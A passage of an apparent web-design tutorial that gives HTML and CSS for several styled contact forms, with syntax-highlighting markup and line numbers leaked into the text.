<span class="sc2"><<span class="kw2">input</span> <span class="kw3">type</span><span class="sy0">=</span><span class="st0">"email"</span> <span class="kw3">name</span><span class="sy0">=</span><span class="st0">"field3"</span> <span class="kw3">class</span><span class="sy0">=</span><span class="st0">"field-long"</span> <span class="sy0">/</span>></span>
<span class="sc2"><<span class="sy0">/</span><span class="kw2">li</span>></span>
<span class="sc2"><<span class="kw2">li</span>></span>
<span class="sc2"><<span class="kw2">label</span>></span>Subject<span class="sc2"><<span class="sy0">/</span><span class="kw2">label</span>></span>
<span class="sc2"><<span class="kw2">select</span> <span class="kw3">name</span><span class="sy0">=</span><span class="st0">"field4"</span> <span class="kw3">class</span><span class="sy0">=</span><span class="st0">"field-select"</span>></span>
<span class="sc2"><<span class="kw2">option</span> <span class="kw3">value</span><span class="sy0">=</span><span class="st0">"Advertise"</span>></span>Advertise<span class="sc2"><<span class="sy0">/</span><span class="kw2">option</span>></span>
<span class="sc2"><<span class="kw2">option</span> <span class="kw3">value</span><span class="sy0">=</span><span class="st0">"Partnership"</span>></span>Partnership<span class="sc2"><<span class="sy0">/</span><span class="kw2">option</span>></span>
<span class="sc2"><<span class="kw2">option</span> <span class="kw3">value</span><span class="sy0">=</span><span class="st0">"General Question"</span>></span>General<span class="sc2"><<span class="sy0">/</span><span class="kw2">option</span>></span>
<span class="sc2"><<span class="sy0">/</span><span class="kw2">select</span>></span>
<span class="sc2"><<span class="sy0">/</span><span class="kw2">li</span>></span>
<span class="sc2"><<span class="kw2">li</span>></span>
<span class="sc2"><<span class="kw2">label</span>></span>Your Message <span class="sc2"><<span class="kw2">span</span> <span class="kw3">class</span><span class="sy0">=</span><span class="st0">"required"</span>></span>*<span class="sc2"><<span class="sy0">/</span><span class="kw2">span</span>><<span class="sy0">/</span><span class="kw2">label</span>></span>
<span class="sc2"><<span class="kw2">textarea</span> <span class="kw3">name</span><span class="sy0">=</span><span class="st0">"field5"</span> <span class="kw3">id</span><span class="sy0">=</span><span class="st0">"field5"</span> <span class="kw3">class</span><span class="sy0">=</span><span class="st0">"field-long field-textarea"</span>><<span class="sy0">/</span><span class="kw2">textarea</span>></span>
<span class="sc2"><<span class="sy0">/</span><span class="kw2">li</span>></span>
<span class="sc2"><<span class="kw2">li</span>></span>
<span class="sc2"><<span class="kw2">input</span> <span class="kw3">type</span><span class="sy0">=</span><span class="st0">"submit"</span> <span class="kw3">value</span><span class="sy0">=</span><span class="st0">"Submit"</span> <span class="sy0">/</span>></span>
<span class="sc2"><<span class="sy0">/</span><span class="kw2">li</span>></span>
<span class="sc2"><<span class="sy0">/</span><span class="kw2">ul</span>></span>
<span class="sc2"><<span class="sy0">/</span><span class="kw2">form</span>>

CSS – CODE :

example-filename.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
<style type<span class="sy0">=</span><span class="st0">"text/css"</span><span class="sy0">></span>
<span class="re1">.form-style-1</span> <span class="br0">{</span>
<span class="kw1">margin</span><span class="sy0">:</span><span class="re3">10px</span> <span class="kw2">auto</span><span class="sy0">;</span>
<span class="kw1">max-width</span><span class="sy0">:</span> <span class="re3">400px</span><span class="sy0">;</span>
<span class="kw1">padding</span><span class="sy0">:</span> <span class="re3">20px</span> <span class="re3">12px</span> <span class="re3">10px</span> <span class="re3">20px</span><span class="sy0">;</span>
<span class="kw1">font</span><span class="sy0">:</span> <span class="re3">13px</span> <span class="st0">"Lucida Sans Unicode"</span><span class="sy0">,</span> <span class="st0">"Lucida Grande"</span><span class="sy0">,</span> <span class="kw2">sans-serif</span><span class="sy0">;</span>
<span class="br0">}</span>
<span class="re1">.form-style-1</span> li <span class="br0">{</span>
<span class="kw1">padding</span><span class="sy0">:</span> <span class="nu0">0</span><span class="sy0">;</span>
<span class="kw1">display</span><span class="sy0">:</span> <span class="kw2">block</span><span class="sy0">;</span>
<span class="kw1">list-style</span><span class="sy0">:</span> <span class="kw2">none</span><span class="sy0">;</span>
<span class="kw1">margin</span><span class="sy0">:</span> <span class="re3">10px</span> <span class="nu0">0</span> <span class="nu0">0</span> <span class="nu0">0</span><span class="sy0">;</span>
<span class="br0">}</span>
<span class="re1">.form-style-1</span> label<span class="br0">{</span>
<span class="kw1">margin</span><span class="sy0">:</span><span class="nu0">0</span> <span class="nu0">0</span> <span class="re3">3px</span> <span class="nu0">0</span><span class="sy0">;</span>
<span class="kw1">padding</span><span class="sy0">:</span><span class="re3">0px</span><span class="sy0">;</span>
<span class="kw1">display</span><span class="sy0">:</span><span class="kw2">block</span><span class="sy0">;</span>
<span class="kw1">font-weight</span><span class="sy0">:</span> <span class="kw2">bold</span><span class="sy0">;</span>
<span class="br0">}</span>
<span class="re1">.form-style-1</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="kw2">text</span><span class="br0">]</span><span class="sy0">,</span>
<span class="re1">.form-style-1</span> input<span class="br0">[</span>type<span class="sy0">=</span>date<span class="br0">]</span><span class="sy0">,</span>
<span class="re1">.form-style-1</span> input<span class="br0">[</span>type<span class="sy0">=</span>datetime<span class="br0">]</span><span class="sy0">,</span>
<span class="re1">.form-style-1</span> input<span class="br0">[</span>type<span class="sy0">=</span>number<span class="br0">]</span><span class="sy0">,</span>
<span class="re1">.form-style-1</span> input<span class="br0">[</span>type<span class="sy0">=</span>search<span class="br0">]</span><span class="sy0">,</span>
<span class="re1">.form-style-1</span> input<span class="br0">[</span>type<span class="sy0">=</span>time<span class="br0">]</span><span class="sy0">,</span>
<span class="re1">.form-style-1</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="kw2">url</span><span class="br0">]</span><span class="sy0">,</span>
<span class="re1">.form-style-1</span> input<span class="br0">[</span>type<span class="sy0">=</span>email<span class="br0">]</span><span class="sy0">,</span>
textarea<span class="sy0">,</span>
select<span class="br0">{</span>
box-sizing<span class="sy0">:</span> border-box<span class="sy0">;</span>
-webkit-box-sizing<span class="sy0">:</span> border-box<span class="sy0">;</span>
-moz-box-sizing<span class="sy0">:</span> border-box<span class="sy0">;</span>
<span class="kw1">border</span><span class="sy0">:</span><span class="re3">1px</span> <span class="kw2">solid</span> <span class="re0">#BEBEBE</span><span class="sy0">;</span>
<span class="kw1">padding</span><span class="sy0">:</span> <span class="re3">7px</span><span class="sy0">;</span>
<span class="kw1">margin</span><span class="sy0">:</span><span class="re3">0px</span><span class="sy0">;</span>
-webkit-transition<span class="sy0">:</span> all 0.30s ease-in-out<span class="sy0">;</span>
-moz-transition<span class="sy0">:</span> all 0.30s ease-in-out<span class="sy0">;</span>
-ms-transition<span class="sy0">:</span> all 0.30s ease-in-out<span class="sy0">;</span>
-o-transition<span class="sy0">:</span> all 0.30s ease-in-out<span class="sy0">;</span>
<span class="kw1">outline</span><span class="sy0">:</span> <span class="kw2">none</span><span class="sy0">;</span>
<span class="br0">}</span>
<span class="re1">.form-style-1</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="kw2">text</span><span class="br0">]</span><span class="re2">:focus</span><span class="sy0">,</span>
<span class="re1">.form-style-1</span> input<span class="br0">[</span>type<span class="sy0">=</span>date<span class="br0">]</span><span class="re2">:focus</span><span class="sy0">,</span>
<span class="re1">.form-style-1</span> input<span class="br0">[</span>type<span class="sy0">=</span>datetime<span class="br0">]</span><span class="re2">:focus</span><span class="sy0">,</span>
<span class="re1">.form-style-1</span> input<span class="br0">[</span>type<span class="sy0">=</span>number<span class="br0">]</span><span class="re2">:focus</span><span class="sy0">,</span>
<span class="re1">.form-style-1</span> input<span class="br0">[</span>type<span class="sy0">=</span>search<span class="br0">]</span><span class="re2">:focus</span><span class="sy0">,</span>
<span class="re1">.form-style-1</span> input<span class="br0">[</span>type<span class="sy0">=</span>time<span class="br0">]</span><span class="re2">:focus</span><span class="sy0">,</span>
<span class="re1">.form-style-1</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="kw2">url</span><span class="br0">]</span><span class="re2">:focus</span><span class="sy0">,</span>
<span class="re1">.form-style-1</span> input<span class="br0">[</span>type<span class="sy0">=</span>email<span class="br0">]</span><span class="re2">:focus</span><span class="sy0">,</span>
<span class="re1">.form-style-1</span> textarea<span class="re2">:focus</span><span class="sy0">,</span>
<span class="re1">.form-style-1</span> select<span class="re2">:focus</span><span class="br0">{</span>
-moz-box-shadow<span class="sy0">:</span> <span class="nu0">0</span> <span class="nu0">0</span> <span class="re3">8px</span> <span class="re0">#88D5E9</span><span class="sy0">;</span>
-webkit-box-shadow<span class="sy0">:</span> <span class="nu0">0</span> <span class="nu0">0</span> <span class="re3">8px</span> <span class="re0">#88D5E9</span><span class="sy0">;</span>
box-shadow<span class="sy0">:</span> <span class="nu0">0</span> <span class="nu0">0</span> <span class="re3">8px</span> <span class="re0">#88D5E9</span><span class="sy0">;</span>
<span class="kw1">border</span><span class="sy0">:</span> <span class="re3">1px</span> <span class="kw2">solid</span> <span class="re0">#88D5E9</span><span class="sy0">;</span>
<span class="br0">}</span>
<span class="re1">.form-style-1</span> .field-divided<span class="br0">{</span>
<span class="kw1">width</span><span class="sy0">:</span> <span class="re3">49%</span><span class="sy0">;</span>
<span class="br0">}</span>
<span class="re1">.form-style-1</span> .field-long<span class="br0">{</span>
<span class="kw1">width</span><span class="sy0">:</span> <span class="re3">100%</span><span class="sy0">;</span>
<span class="br0">}</span>
<span class="re1">.form-style-1</span> .field-select<span class="br0">{</span>
<span class="kw1">width</span><span class="sy0">:</span> <span class="re3">100%</span><span class="sy0">;</span>
<span class="br0">}</span>
<span class="re1">.form-style-1</span> .field-textarea<span class="br0">{</span>
<span class="kw1">height</span><span class="sy0">:</span> <span class="re3">100px</span><span class="sy0">;</span>
<span class="br0">}</span>
<span class="re1">.form-style-1</span> input<span class="br0">[</span>type<span class="sy0">=</span>submit<span class="br0">]</span><span class="sy0">,</span> <span class="re1">.form-style-1</span> input<span class="br0">[</span>type<span class="sy0">=</span>button<span class="br0">]</span><span class="br0">{</span>
<span class="kw1">background</span><span class="sy0">:</span> <span class="re0">#4B99AD</span><span class="sy0">;</span>
<span class="kw1">padding</span><span class="sy0">:</span> <span class="re3">8px</span> <span class="re3">15px</span> <span class="re3">8px</span> <span class="re3">15px</span><span class="sy0">;</span>
<span class="kw1">border</span><span class="sy0">:</span> <span class="kw2">none</span><span class="sy0">;</span>
<span class="kw1">color</span><span class="sy0">:</span> <span class="re0">#fff</span><span class="sy0">;</span>
<span class="br0">}</span>
<span class="re1">.form-style-1</span> input<span class="br0">[</span>type<span class="sy0">=</span>submit<span class="br0">]</span><span class="re2">:hover</span><span class="sy0">,</span> <span class="re1">.form-style-1</span> input<span class="br0">[</span>type<span class="sy0">=</span>button<span class="br0">]</span><span class="re2">:hover</span><span class="br0">{</span>
<span class="kw1">background</span><span class="sy0">:</span> <span class="re0">#4691A4</span><span class="sy0">;</span>
box-shadow<span class="sy0">:</span><span class="kw2">none</span><span class="sy0">;</span>
-moz-box-shadow<span class="sy0">:</span><span class="kw2">none</span><span class="sy0">;</span>
-webkit-box-shadow<span class="sy0">:</span><span class="kw2">none</span><span class="sy0">;</span>
<span class="br0">}</span>
<span class="re1">.form-style-1</span> .required<span class="br0">{</span>
<span class="kw1">color</span><span class="sy0">:</span><span class="kw2">red</span><span class="sy0">;</span>
<span class="br0">}</span>
</style<span class="sy0">>

Form Style 2 :

  • Another clean Form style fits perfectly into any clean webpage layout. The form has soft box-shadow effects around the fields, and nice orange button.

HTML – CODE :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<<span class="kw2">div</span> <span class="kw3">class</span><span class="sy0">=</span><span class="st0">"form-style-2"</span>></span>
<span class="sc2"><<span class="kw2">div</span> <span class="kw3">class</span><span class="sy0">=</span><span class="st0">"form-style-2-heading"</span>></span>Provide your information<span class="sc2"><<span class="sy0">/</span><span class="kw2">div</span>></span>
<span class="sc2"><<span class="kw2">form</span> <span class="kw3">action</span><span class="sy0">=</span><span class="st0">""</span> <span class="kw3">method</span><span class="sy0">=</span><span class="st0">"post"</span>></span>
<span class="sc2"><<span class="kw2">label</span> <span class="kw3">for</span><span class="sy0">=</span><span class="st0">"field1"</span>><<span class="kw2">span</span>></span>Name <span class="sc2"><<span class="kw2">span</span> <span class="kw3">class</span><span class="sy0">=</span><span class="st0">"required"</span>></span>*<span class="sc2"><<span class="sy0">/</span><span class="kw2">span</span>><<span class="sy0">/</span><span class="kw2">span</span>><<span class="kw2">input</span> <span class="kw3">type</span><span class="sy0">=</span><span class="st0">"text"</span> <span class="kw3">class</span><span class="sy0">=</span><span class="st0">"input-field"</span> <span class="kw3">name</span><span class="sy0">=</span><span class="st0">"field1"</span> <span class="kw3">value</span><span class="sy0">=</span><span class="st0">""</span> <span class="sy0">/</span>><<span class="sy0">/</span><span class="kw2">label</span>></span>
<span class="sc2"><<span class="kw2">label</span> <span class="kw3">for</span><span class="sy0">=</span><span class="st0">"field2"</span>><<span class="kw2">span</span>></span>Email <span class="sc2"><<span class="kw2">span</span> <span class="kw3">class</span><span class="sy0">=</span><span class="st0">"required"</span>></span>*<span class="sc2"><<span class="sy0">/</span><span class="kw2">span</span>><<span class="sy0">/</span><span class="kw2">span</span>><<span class="kw2">input</span> <span class="kw3">type</span><span class="sy0">=</span><span class="st0">"text"</span> <span class="kw3">class</span><span class="sy0">=</span><span class="st0">"input-field"</span> <span class="kw3">name</span><span class="sy0">=</span><span class="st0">"field2"</span> <span class="kw3">value</span><span class="sy0">=</span><span class="st0">""</span> <span class="sy0">/</span>><<span class="sy0">/</span><span class="kw2">label</span>></span>
<span class="sc2"><<span class="kw2">label</span>><<span class="kw2">span</span>></span>Telephone<span class="sc2"><<span class="sy0">/</span><span class="kw2">span</span>><<span class="kw2">input</span> <span class="kw3">type</span><span class="sy0">=</span><span class="st0">"text"</span> <span class="kw3">class</span><span class="sy0">=</span><span class="st0">"tel-number-field"</span> <span class="kw3">name</span><span class="sy0">=</span><span class="st0">"tel_no_1"</span> <span class="kw3">value</span><span class="sy0">=</span><span class="st0">""</span> <span class="kw3">maxlength</span><span class="sy0">=</span><span class="st0">"4"</span> <span class="sy0">/</span>></span>-<span class="sc2"><<span class="kw2">input</span> <span class="kw3">type</span><span class="sy0">=</span><span class="st0">"text"</span> <span class="kw3">class</span><span class="sy0">=</span><span class="st0">"tel-number-field"</span> <span class="kw3">name</span><span class="sy0">=</span><span class="st0">"tel_no_2"</span> <span class="kw3">value</span><span class="sy0">=</span><span class="st0">""</span> <span class="kw3">maxlength</span><span class="sy0">=</span><span class="st0">"4"</span>  <span class="sy0">/</span>></span>-<span class="sc2"><<span class="kw2">input</span> <span class="kw3">type</span><span class="sy0">=</span><span class="st0">"text"</span> <span class="kw3">class</span><span class="sy0">=</span><span class="st0">"tel-number-field"</span> <span class="kw3">name</span><span class="sy0">=</span><span class="st0">"tel_no_3"</span> <span class="kw3">value</span><span class="sy0">=</span><span class="st0">""</span> <span class="kw3">maxlength</span><span class="sy0">=</span><span class="st0">"10"</span>  <span class="sy0">/</span>><<span class="sy0">/</span><span class="kw2">label</span>></span>
<span class="sc2"><<span class="kw2">label</span> <span class="kw3">for</span><span class="sy0">=</span><span class="st0">"field4"</span>><<span class="kw2">span</span>></span>Regarding<span class="sc2"><<span class="sy0">/</span><span class="kw2">span</span>><<span class="kw2">select</span> <span class="kw3">name</span><span class="sy0">=</span><span class="st0">"field4"</span> <span class="kw3">class</span><span class="sy0">=</span><span class="st0">"select-field"</span>></span>
<span class="sc2"><<span class="kw2">option</span> <span class="kw3">value</span><span class="sy0">=</span><span class="st0">"General Question"</span>></span>General<span class="sc2"><<span class="sy0">/</span><span class="kw2">option</span>></span>
<span class="sc2"><<span class="kw2">option</span> <span class="kw3">value</span><span class="sy0">=</span><span class="st0">"Advertise"</span>></span>Advertisement<span class="sc2"><<span class="sy0">/</span><span class="kw2">option</span>></span>
<span class="sc2"><<span class="kw2">option</span> <span class="kw3">value</span><span class="sy0">=</span><span class="st0">"Partnership"</span>></span>Partnership<span class="sc2"><<span class="sy0">/</span><span class="kw2">option</span>></span>
<span class="sc2"><<span class="sy0">/</span><span class="kw2">select</span>><<span class="sy0">/</span><span class="kw2">label</span>></span>
<span class="sc2"><<span class="kw2">label</span> <span class="kw3">for</span><span class="sy0">=</span><span class="st0">"field5"</span>><<span class="kw2">span</span>></span>Message <span class="sc2"><<span class="kw2">span</span> <span class="kw3">class</span><span class="sy0">=</span><span class="st0">"required"</span>></span>*<span class="sc2"><<span class="sy0">/</span><span class="kw2">span</span>><<span class="sy0">/</span><span class="kw2">span</span>><<span class="kw2">textarea</span> <span class="kw3">name</span><span class="sy0">=</span><span class="st0">"field5"</span> <span class="kw3">class</span><span class="sy0">=</span><span class="st0">"textarea-field"</span>><<span class="sy0">/</span><span class="kw2">textarea</span>><<span class="sy0">/</span><span class="kw2">label</span>></span>
<span class="sc2"><<span class="kw2">label</span>><<span class="kw2">span</span>></span><span class="sc1">&nbsp;</span><span class="sc2"><<span class="sy0">/</span><span class="kw2">span</span>><<span class="kw2">input</span> <span class="kw3">type</span><span class="sy0">=</span><span class="st0">"submit"</span> <span class="kw3">value</span><span class="sy0">=</span><span class="st0">"Submit"</span> <span class="sy0">/</span>><<span class="sy0">/</span><span class="kw2">label</span>></span>
<span class="sc2"><<span class="sy0">/</span><span class="kw2">form</span>></span>
<span class="sc2"><<span class="sy0">/</span><span class="kw2">div</span>>

CSS – CODE :

example-filename.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
<style type<span class="sy0">=</span><span class="st0">"text/css"</span><span class="sy0">></span>
.form-style-<span class="nu0">2</span><span class="br0">{</span>
<span class="kw1">max-width</span><span class="sy0">:</span> <span class="re3">500px</span><span class="sy0">;</span>
<span class="kw1">padding</span><span class="sy0">:</span> <span class="re3">20px</span> <span class="re3">12px</span> <span class="re3">10px</span> <span class="re3">20px</span><span class="sy0">;</span>
<span class="kw1">font</span><span class="sy0">:</span> <span class="re3">13px</span> Arial<span class="sy0">,</span> Helvetica<span class="sy0">,</span> <span class="kw2">sans-serif</span><span class="sy0">;</span>
<span class="br0">}</span>
.form-style-<span class="nu0">2</span>-heading<span class="br0">{</span>
<span class="kw1">font-weight</span><span class="sy0">:</span> <span class="kw2">bold</span><span class="sy0">;</span>
<span class="kw1">font-style</span><span class="sy0">:</span> <span class="kw2">italic</span><span class="sy0">;</span>
<span class="kw1">border-bottom</span><span class="sy0">:</span> <span class="re3">2px</span> <span class="kw2">solid</span> <span class="re0">#ddd</span><span class="sy0">;</span>
<span class="kw1">margin-bottom</span><span class="sy0">:</span> <span class="re3">20px</span><span class="sy0">;</span>
<span class="kw1">font-size</span><span class="sy0">:</span> <span class="re3">15px</span><span class="sy0">;</span>
<span class="kw1">padding-bottom</span><span class="sy0">:</span> <span class="re3">3px</span><span class="sy0">;</span>
<span class="br0">}</span>
<span class="re1">.form-style-2</span> label<span class="br0">{</span>
<span class="kw1">display</span><span class="sy0">:</span> <span class="kw2">block</span><span class="sy0">;</span>
<span class="kw1">margin</span><span class="sy0">:</span> <span class="re3">0px</span> <span class="re3">0px</span> <span class="re3">15px</span> <span class="re3">0px</span><span class="sy0">;</span>
<span class="br0">}</span>
<span class="re1">.form-style-2</span> label <span class="sy0">></span> span<span class="br0">{</span>
<span class="kw1">width</span><span class="sy0">:</span> <span class="re3">100px</span><span class="sy0">;</span>
<span class="kw1">font-weight</span><span class="sy0">:</span> <span class="kw2">bold</span><span class="sy0">;</span>
<span class="kw1">float</span><span class="sy0">:</span> <span class="kw1">left</span><span class="sy0">;</span>
<span class="kw1">padding-top</span><span class="sy0">:</span> <span class="re3">8px</span><span class="sy0">;</span>
<span class="kw1">padding-right</span><span class="sy0">:</span> <span class="re3">5px</span><span class="sy0">;</span>
<span class="br0">}</span>
<span class="re1">.form-style-2</span> span.required<span class="br0">{</span>
<span class="kw1">color</span><span class="sy0">:</span><span class="kw2">red</span><span class="sy0">;</span>
<span class="br0">}</span>
<span class="re1">.form-style-2</span> .tel-number-field<span class="br0">{</span>
<span class="kw1">width</span><span class="sy0">:</span> <span class="re3">40px</span><span class="sy0">;</span>
<span class="kw1">text-align</span><span class="sy0">:</span> <span class="kw2">center</span><span class="sy0">;</span>
<span class="br0">}</span>
<span class="re1">.form-style-2</span> input.input-field<span class="br0">{</span>
<span class="kw1">width</span><span class="sy0">:</span> <span class="re3">48%</span><span class="sy0">;</span>
<span class="br0">}</span>
<span class="re1">.form-style-2</span> input<span class="re1">.input-field</span><span class="sy0">,</span>
<span class="re1">.form-style-2</span> <span class="re1">.tel-number-field</span><span class="sy0">,</span>
<span class="re1">.form-style-2</span> <span class="re1">.textarea-field</span><span class="sy0">,</span>
<span class="re1">.form-style-2</span> .select-field<span class="br0">{</span>
box-sizing<span class="sy0">:</span> border-box<span class="sy0">;</span>
-webkit-box-sizing<span class="sy0">:</span> border-box<span class="sy0">;</span>
-moz-box-sizing<span class="sy0">:</span> border-box<span class="sy0">;</span>
<span class="kw1">border</span><span class="sy0">:</span> <span class="re3">1px</span> <span class="kw2">solid</span> <span class="re0">#C2C2C2</span><span class="sy0">;</span>
box-shadow<span class="sy0">:</span> <span class="re3">1px</span> <span class="re3">1px</span> <span class="re3">4px</span> <span class="re0">#EBEBEB</span><span class="sy0">;</span>
-moz-box-shadow<span class="sy0">:</span> <span class="re3">1px</span> <span class="re3">1px</span> <span class="re3">4px</span> <span class="re0">#EBEBEB</span><span class="sy0">;</span>
-webkit-box-shadow<span class="sy0">:</span> <span class="re3">1px</span> <span class="re3">1px</span> <span class="re3">4px</span> <span class="re0">#EBEBEB</span><span class="sy0">;</span>
border-radius<span class="sy0">:</span> <span class="re3">3px</span><span class="sy0">;</span>
-webkit-border-radius<span class="sy0">:</span> <span class="re3">3px</span><span class="sy0">;</span>
-moz-border-radius<span class="sy0">:</span> <span class="re3">3px</span><span class="sy0">;</span>
<span class="kw1">padding</span><span class="sy0">:</span> <span class="re3">7px</span><span class="sy0">;</span>
<span class="kw1">outline</span><span class="sy0">:</span> <span class="kw2">none</span><span class="sy0">;</span>
<span class="br0">}</span>
<span class="re1">.form-style-2</span> <span class="re1">.input-field</span><span class="re2">:focus</span><span class="sy0">,</span>
<span class="re1">.form-style-2</span> <span class="re1">.tel-number-field</span><span class="re2">:focus</span><span class="sy0">,</span>
<span class="re1">.form-style-2</span> <span class="re1">.textarea-field</span><span class="re2">:focus</span><span class="sy0">,</span>
<span class="re1">.form-style-2</span> <span class="re1">.select-field</span><span class="re2">:focus</span><span class="br0">{</span>
<span class="kw1">border</span><span class="sy0">:</span> <span class="re3">1px</span> <span class="kw2">solid</span> <span class="re0">#0C0</span><span class="sy0">;</span>
<span class="br0">}</span>
<span class="re1">.form-style-2</span> .textarea-field<span class="br0">{</span>
<span class="kw1">height</span><span class="sy0">:</span><span class="re3">100px</span><span class="sy0">;</span>
<span class="kw1">width</span><span class="sy0">:</span> <span class="re3">55%</span><span class="sy0">;</span>
<span class="br0">}</span>
<span class="re1">.form-style-2</span> input<span class="br0">[</span>type<span class="sy0">=</span>submit<span class="br0">]</span><span class="sy0">,</span>
<span class="re1">.form-style-2</span> input<span class="br0">[</span>type<span class="sy0">=</span>button<span class="br0">]</span><span class="br0">{</span>
<span class="kw1">border</span><span class="sy0">:</span> <span class="kw2">none</span><span class="sy0">;</span>
<span class="kw1">padding</span><span class="sy0">:</span> <span class="re3">8px</span> <span class="re3">15px</span> <span class="re3">8px</span> <span class="re3">15px</span><span class="sy0">;</span>
<span class="kw1">background</span><span class="sy0">:</span> <span class="re0">#FF8500</span><span class="sy0">;</span>
<span class="kw1">color</span><span class="sy0">:</span> <span class="re0">#fff</span><span class="sy0">;</span>
box-shadow<span class="sy0">:</span> <span class="re3">1px</span> <span class="re3">1px</span> <span class="re3">4px</span> <span class="re0">#DADADA</span><span class="sy0">;</span>
-moz-box-shadow<span class="sy0">:</span> <span class="re3">1px</span> <span class="re3">1px</span> <span class="re3">4px</span> <span class="re0">#DADADA</span><span class="sy0">;</span>
-webkit-box-shadow<span class="sy0">:</span> <span class="re3">1px</span> <span class="re3">1px</span> <span class="re3">4px</span> <span class="re0">#DADADA</span><span class="sy0">;</span>
border-radius<span class="sy0">:</span> <span class="re3">3px</span><span class="sy0">;</span>
-webkit-border-radius<span class="sy0">:</span> <span class="re3">3px</span><span class="sy0">;</span>
-moz-border-radius<span class="sy0">:</span> <span class="re3">3px</span><span class="sy0">;</span>
<span class="br0">}</span>
<span class="re1">.form-style-2</span> input<span class="br0">[</span>type<span class="sy0">=</span>submit<span class="br0">]</span><span class="re2">:hover</span><span class="sy0">,</span>
<span class="re1">.form-style-2</span> input<span class="br0">[</span>type<span class="sy0">=</span>button<span class="br0">]</span><span class="re2">:hover</span><span class="br0">{</span>
<span class="kw1">background</span><span class="sy0">:</span> <span class="re0">#EA7B00</span><span class="sy0">;</span>
<span class="kw1">color</span><span class="sy0">:</span> <span class="re0">#fff</span><span class="sy0">;</span>
<span class="br0">}</span>
</style<span class="sy0">>

Form Style 3 :

  • If you are a women or a fan of pink color, you will find this form style interesting. Form has light pink background and rounded fieldset to match your personal pink pages.

HTML – CODE :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<<span class="kw2">div</span> <span class="kw3">class</span><span class="sy0">=</span><span class="st0">"form-style-3"</span>></span>
<span class="sc2"><<span class="kw2">form</span>></span>
<span class="sc2"><<span class="kw2">fieldset</span>><<span class="kw2">legend</span>></span>Personal<span class="sc2"><<span class="sy0">/</span><span class="kw2">legend</span>></span>
<span class="sc2"><<span class="kw2">label</span> <span class="kw3">for</span><span class="sy0">=</span><span class="st0">"field1"</span>><<span class="kw2">span</span>></span>Name <span class="sc2"><<span class="kw2">span</span> <span class="kw3">class</span><span class="sy0">=</span><span class="st0">"required"</span>></span>*<span class="sc2"><<span class="sy0">/</span><span class="kw2">span</span>><<span class="sy0">/</span><span class="kw2">span</span>><<span class="kw2">input</span> <span class="kw3">type</span><span class="sy0">=</span><span class="st0">"text"</span> <span class="kw3">class</span><span class="sy0">=</span><span class="st0">"input-field"</span> <span class="kw3">name</span><span class="sy0">=</span><span class="st0">"field1"</span> <span class="kw3">value</span><span class="sy0">=</span><span class="st0">""</span> <span class="sy0">/</span>><<span class="sy0">/</span><span class="kw2">label</span>></span>
<span class="sc2"><<span class="kw2">label</span> <span class="kw3">for</span><span class="sy0">=</span><span class="st0">"field2"</span>><<span class="kw2">span</span>></span>Email <span class="sc2"><<span class="kw2">span</span> <span class="kw3">class</span><span class="sy0">=</span><span class="st0">"required"</span>></span>*<span class="sc2"><<span class="sy0">/</span><span class="kw2">span</span>><<span class="sy0">/</span><span class="kw2">span</span>><<span class="kw2">input</span> <span class="kw3">type</span><span class="sy0">=</span><span class="st0">"email"</span> <span class="kw3">class</span><span class="sy0">=</span><span class="st0">"input-field"</span> <span class="kw3">name</span><span class="sy0">=</span><span class="st0">"field2"</span> <span class="kw3">value</span><span class="sy0">=</span><span class="st0">""</span> <span class="sy0">/</span>><<span class="sy0">/</span><span class="kw2">label</span>></span>
<span class="sc2"><<span class="kw2">label</span> <span class="kw3">for</span><span class="sy0">=</span><span class="st0">"field3"</span>><<span class="kw2">span</span>></span>Phone <span class="sc2"><<span class="kw2">span</span> <span class="kw3">class</span><span class="sy0">=</span><span class="st0">"required"</span>></span>*<span class="sc2"><<span class="sy0">/</span><span class="kw2">span</span>><<span class="sy0">/</span><span class="kw2">span</span>><<span class="kw2">input</span> <span class="kw3">type</span><span class="sy0">=</span><span class="st0">"text"</span> <span class="kw3">class</span><span class="sy0">=</span><span class="st0">"input-field"</span> <span class="kw3">name</span><span class="sy0">=</span><span class="st0">"field3"</span> <span class="kw3">value</span><span class="sy0">=</span><span class="st0">""</span> <span class="sy0">/</span>><<span class="sy0">/</span><span class="kw2">label</span>></span>
<span class="sc2"><<span class="kw2">label</span> <span class="kw3">for</span><span class="sy0">=</span><span class="st0">"field4"</span>><<span class="kw2">span</span>></span>Subject<span class="sc2"><<span class="sy0">/</span><span class="kw2">span</span>><<span class="kw2">select</span> <span class="kw3">name</span><span class="sy0">=</span><span class="st0">"field4"</span> <span class="kw3">class</span><span class="sy0">=</span><span class="st0">"select-field"</span>></span>
<span class="sc2"><<span class="kw2">option</span> <span class="kw3">value</span><span class="sy0">=</span><span class="st0">"Appointment"</span>></span>Appointment<span class="sc2"><<span class="sy0">/</span><span class="kw2">option</span>></span>
<span class="sc2"><<span class="kw2">option</span> <span class="kw3">value</span><span class="sy0">=</span><span class="st0">"Interview"</span>></span>Interview<span class="sc2"><<span class="sy0">/</span><span class="kw2">option</span>></span>
<span class="sc2"><<span class="kw2">option</span> <span class="kw3">value</span><span class="sy0">=</span><span class="st0">"Regarding a post"</span>></span>Regarding a post<span class="sc2"><<span class="sy0">/</span><span class="kw2">option</span>></span>
<span class="sc2"><<span class="sy0">/</span><span class="kw2">select</span>><<span class="sy0">/</span><span class="kw2">label</span>></span>
<span class="sc2"><<span class="sy0">/</span><span class="kw2">fieldset</span>></span>
<span class="sc2"><<span class="kw2">fieldset</span>><<span class="kw2">legend</span>></span>Message<span class="sc2"><<span class="sy0">/</span><span class="kw2">legend</span>></span>
